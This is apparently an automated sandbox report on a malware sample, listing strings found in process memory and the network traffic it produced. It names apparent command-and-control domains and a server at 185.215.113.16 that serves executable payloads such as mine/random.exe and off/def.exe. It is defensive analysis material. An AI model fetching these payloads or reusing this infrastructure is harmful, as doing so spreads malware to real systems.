"https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.2175868045.000001C968391000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: `https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.2175868045.000001C968391000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: `https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: 8138ba21a1.exe, 00000012.00000003.1984181714.0000000001126000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: captcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.2130386877.000001C963403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: color-mix(in srgb, currentColor 9%, transparent)://.adsafeprotected.com//imp/://www.facebook.com/platform/impression.phpcolor-mix(in srgb, currentColor 9%, transparent)://ads.stickyadstv.com/user-matching--autocomplete-popup-separator-color--panel-banner-item-update-supported-bgcolor://vast.adsafeprotected.com/vastextensions.geckoProfiler.acceptedExtensionIds equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.2130386877.000001C963473000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: current application version: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.2130386877.000001C963473000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: current application version: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001D.00000002.2130386877.000001C963473000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: current application version: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.2130386877.000001C96347B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: devtools.debugger.remote-websocketJSON Viewer's onSave failed in startPersistence{9e9a9283-0ce9-4e4a-8f1c-ba129a032c32}WebChannel/this._originCheckCallback^([a-z+.-]+:\/{0,3})([^\/@]+@).+browser.urlbar.dnsResolveFullyQualifiedNamesresource://devtools/server/devtools-server.jsFailed to execute WebChannel callback:^[a-z0-9-]+(\.[a-z0-9-]+):[0-9]{1,5}([/?#]\|$)Failed to listen. Callback argument missing.^(?<url>\w+:.+):(?<line>\d+):(?<column>\d+)$devtools.performance.recording.ui-base-urlbrowser.fixup.domainsuffixwhitelist.Got invalid request to save JSON dataDevTools telemetry entry point failed: devtools/client/framework/devtools-browserNo callback set for this channel.@mozilla.org/network/protocol;1?name=file@mozilla.org/network/protocol;1?name=defaultreleaseDistinctSystemPrincipalLoader@mozilla.org/dom/slow-script-debug;1@mozilla.org/uriloader/handler-service;1^([a-z][a-z0-9.+\t-]*)(:\|;)?(\/\/)?resource://devtools/shared/security/socket.jsUnable to start devtools server on resource://gre/modules/JSONFile.sys.mjsresource://gre/modules/ExtHandlerService.sys.mjsresource://gre/modules/URIFixup.sys.mjsget FIXUP_FLAG_FORCE_ALTERNATE_URI{33d75835-722f-42c0-89cc-44f328e56a86}_injectDefaultProtocolHandlersIfNeededhttp://www.inbox.lv/rfc2368/?value=%sCan't invoke URIFixup in the content processresource://gre/modules/DeferredTask.sys.mjs{c6cf88b7-452e-47eb-bdc9-86e3561648ef}@mozilla.org/network/file-input-stream;1_finalizeInternal/this._finalizePromise<https://mail.inbox.lv/compose?to=%shttps://mail.yahoo.co.jp/compose/?To=%s@mozilla.org/uriloader/web-handler-app;1resource://gre/modules/NetUtil.sys.mjsgecko.handlerService.defaultHandlersVersionhttp://poczta.interia.pl/mh/?mailto=%sresource://gre/modules/JSONFile.sys.mjsisDownloadsImprovementsAlreadyMigratedhttp://compose.mail.yahoo.co.jp/ym/Compose?To=%s@mozilla.org/uriloader/local-handler-app;1handlerSvc fillHandlerInfo: don't know this typeextractScheme/fixupChangedProtocol<https://e.mail.ru/cgi-bin/sentmsg?mailto=%sScheme should be either http or httpshttp://win.mail.ru/cgi-bin/sentmsg?mailto=%s@mozilla.org/uriloader/dbus-handler-app;1https://poczta.interia.pl/mh/?mailto=%sresource://gre/modules/FileUtils.sys.mjsresource://gre/modules/FileUtils.sys.mjsextension/default-theme@mozilla.org/extendedDataMust have a source and a callbacknewChannel requires a single object argumentFirst argument should be an nsIInputStream@mozilla.org/intl/converter-input-stream;1@mozilla.org/network/simple-stream-listener;1@mozilla.org/network/input-stream-pump;1Non-zero amount of bytes must be specified@mozilla.org/scriptableinputstream;1https://e.mail.ru/cgi-bin/sentmsg?mailto=%shttps://mail.inbox.lv/compose?to=%s@mozilla.org/uriloader/handler-service;1pdfjs.previousHandler.alwaysAskBeforeHandlingVALIDATE_DONT_COLLAPSE_WHITESPACE@mozilla.org/network/async-stream-copier;1https://mail.yandex.ru/compose?mailto=%s@mozilla.org/uriloader/handler-service;1https://mail.yahoo.co.jp/compose/?To=%sSEC_ALLOW_CROSS_ORIGIN_SEC_CONTEXT_I
Source: firefox.exe, 0000001D.00000002.2236916533.000001C969403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C9634DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.2303891585.000001C96F71B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2286214238.000001C96F2B6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2303891585.000001C96F76E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.2300171636.000001C96F503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2286214238.000001C96F2B6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2303891585.000001C96F76E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.2236916533.000001C969403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C9634DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.2236916533.000001C969403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C9634DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.2130386877.000001C9634DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/UpdateService:selectUpdate - the user requires elevation to install this update, but the user has exceeded the max number of elevation attempts. equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.2130386877.000001C9634DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/UpdateService:selectUpdate - the user requires elevation to install this update, but the user has exceeded the max number of elevation attempts. equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.2236916533.000001C969403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C963473000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.2236916533.000001C969403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C963473000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001D.00000002.2236916533.000001C969403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C963473000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.2130386877.000001C963473000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single function equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.2130386877.000001C963473000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single function equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001D.00000002.2130386877.000001C963473000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single function equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.2236916533.000001C969403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C963473000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.2236916533.000001C969403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C963473000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.2236916533.000001C969403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.2236916533.000001C969403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.2236916533.000001C969403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C963473000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.2236916533.000001C969403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C963473000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001D.00000002.2236916533.000001C969403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C963473000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.2236916533.000001C969403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.2236916533.000001C969403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001D.00000002.2236916533.000001C969403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.2236916533.000001C969403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.2236916533.000001C969403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001D.00000002.2236916533.000001C969403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.2130386877.000001C963473000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.2130386877.000001C963473000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001D.00000002.2130386877.000001C963473000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.2236916533.000001C969403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C963473000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2310925330.000001C971677000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.2236916533.000001C969403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C963473000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2310925330.000001C971677000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001D.00000002.2236916533.000001C969403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C963473000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2310925330.000001C971677000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.2229257788.000001C968F3A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2168882791.000001C9679EB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2167562247.000001C9677D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.2168882791.000001C9679BD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2229257788.000001C968F51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: time.windows.com
Source: global traffic	DNS traffic detected: DNS query: clearancek.site
Source: global traffic	DNS traffic detected: DNS query: mobbipenju.store
Source: global traffic	DNS traffic detected: DNS query: eaglepawnoy.store
Source: global traffic	DNS traffic detected: DNS query: dissapoiznw.store
Source: global traffic	DNS traffic detected: DNS query: studennotediw.store
Source: global traffic	DNS traffic detected: DNS query: bathdoomgaz.store
Source: global traffic	DNS traffic detected: DNS query: spirittunek.store
Source: global traffic	DNS traffic detected: DNS query: licendfilteo.site
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: sergei-esenin.com
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: shavar.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: services.addons.mozilla.org
Source: global traffic	DNS traffic detected: DNS query: normandy.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: normandy-cdn.services.mozilla.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: sergei-esenin.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 24 Oct 2024 02:01:30 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3eIXbYTzSaB2uXFN0BtywBrDeWnsIGEy2pY%2BobjLpaP797zsVktQ8pAs77PN0wCFMh6olsJ9MNmSMFN%2FeCy9ow%2Bjh03zh6wd2LXRyVk4%2BkS8B8rA0r5IR%2B2eYf7m1UBcrVoIlg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d76611cb9896b58-DFW
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 24 Oct 2024 02:02:26 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NPkIdRZfR8lNN0yv1PzvOgVFwG3MMNjzUF9iYEr3hSP3Pgkz%2BqUXmzZEvJKxWhZHgo5clr1CLqtR%2Fcp5n4pCIGSnSplZy5NiTMN%2BDwydkCzN1cp5YNVzoTXL4wCKIeAjW2UkGA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d76627e7de52c94-DFW
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 24 Oct 2024 02:03:02 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XLXbOUuPMLq5zYLgDqaAVE7jzyMmHZVzXav25xHBVgO8Kk7TXj4cnqIDbQA3LX21cSdcSV2h5S4N3KSqDODakx5Prgz%2B4mJvShJP5dOdWDWxhgGm6W1ANtbLAzozn0QiuJ06bQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d76635bfc1a2d3f-DFW

Source: firefox.exe, 0000001D.00000002.2122168164.000001C95726D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2236916533.000001C969403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2267577999.000001C96ACA5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2144220840.000001C964800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2150615780.000001C966D77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000002.1815153546.0000000000AA2000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812465296.0000000000AA1000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812336611.0000000000A9B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: file.exe, 00000000.00000003.1573333349.00000000011E1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1573396537.000000000598E000.00000004.00000800.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2180590726.0000000001175000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: file.exe, 00000000.00000003.1573522548.00000000011E7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1573333349.00000000011E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/F
Source: file.exe, 00000000.00000003.1573522548.00000000011E7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1573333349.00000000011E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/O
Source: file.exe, 00000000.00000003.1573522548.00000000011E7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1573333349.00000000011E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/P
Source: file.exe, file.exe, 00000000.00000003.1573333349.0000000001204000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2180590726.0000000001175000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2180388586.0000000001198000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2180894014.00000000059AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: 8138ba21a1.exe, 00000012.00000003.2180388586.0000000001198000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe7Q$
Source: 8138ba21a1.exe, 00000012.00000003.2180590726.0000000001175000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exeD
Source: file.exe, 00000000.00000003.1573333349.0000000001204000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exed
Source: file.exe, 00000000.00000003.1573333349.0000000001204000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exeq
Source: file.exe, file.exe, 00000000.00000003.1573333349.0000000001204000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2180388586.0000000001198000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: 8138ba21a1.exe, 00000012.00000003.2180388586.0000000001198000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exea
Source: file.exe, file.exe, 00000000.00000003.1573333349.0000000001204000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2180388586.0000000001198000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: 8138ba21a1.exe, 00000012.00000003.2180388586.0000000001198000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe2
Source: 8138ba21a1.exe, 00000012.00000003.2181105344.00000000010FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/mine/random.exeages
Source: J2IWSCR5FJAMGGW2VC4ET4.exe, 00000004.00000002.1690398993.000000000111E000.00000004.00000020.00020000.00000000.sdmp, bd214fbd32.exe, 0000000E.00000002.1927559885.0000000000D2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
